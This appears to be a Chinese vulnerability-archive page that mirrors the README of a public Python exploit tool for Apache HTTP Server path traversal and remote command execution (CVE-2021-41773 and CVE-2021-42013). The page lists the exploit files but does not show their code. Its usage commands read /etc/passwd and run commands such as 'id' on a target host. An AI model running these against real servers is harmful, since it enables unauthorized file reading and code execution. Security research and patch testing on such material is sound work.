目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1110

100%

CVE-2021-41773 PoC — Apache HTTP Server 路径遍历漏洞

来源
关联漏洞
标题:Apache HTTP Server 路径遍历漏洞 (CVE-2021-41773)
Description:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点。 Apache HTTP Server 2.4.49版本存在路径遍历漏洞,攻击者可利用该漏洞使用路径遍历攻击将URL映射到预期文档根以外的文件。
Description
Exploit created in python3 to exploit known vulnerabilities in Apache web server (CVE-2021-41773, CVE-2021-42013)
介绍
# Apache-CVEs
Exploit created in python3 to exploit known vulnerabilities in Apache web server (CVE-2021-41773, CVE-2021-42013)

## What's apache

The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards.

## Version Affected

- CVE-2021-41773 -> 2.4.49
- CVE-2021-42013 -> 2.4.50

# How to install

Just do a git clone:

```
git clone https://github.com/0xGabe/Apache-CVEs
```

# CVE-2021-41773

## How to use

### Path traversal

To read the desired file, just pass the file path, if the user does not have permission to read, there will be no reading result.

```
python3 cve-2021-41773.py --url http://HOST:PORT --path /etc/passwd
```

### Remote Command Execution

To execute commands with spaces, special characters or the like on the target machine, it is necessary to pass the command in quotes.

```
python3 cve-2021-41773.py --url http://HOST:PORT --cmd id
```

# CVE-2021-42013

## How to use

### Path traversal

To read the desired file, just pass the file path, if the user does not have permission to read, there will be no reading result.

```
python3 cve-2021-42013.py --url http://HOST:PORT --path /etc/passwd
```

### Remote Command Execution

To execute commands with spaces, special characters or the like on the target machine, it is necessary to pass the command in quotes.

```
python3 cve-2021-42013.py --url http://HOST:PORT --cmd id
```




文件快照

[4.0K] /data/pocs/5cd6cf06ded9bc83e6d14d832bf866d1ea2e6005 ├── [2.6K] cve-2021-41773.py ├── [2.6K] cve-2021-42013.py ├── [1.0K] LICENSE └── [1.6K] README.md 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →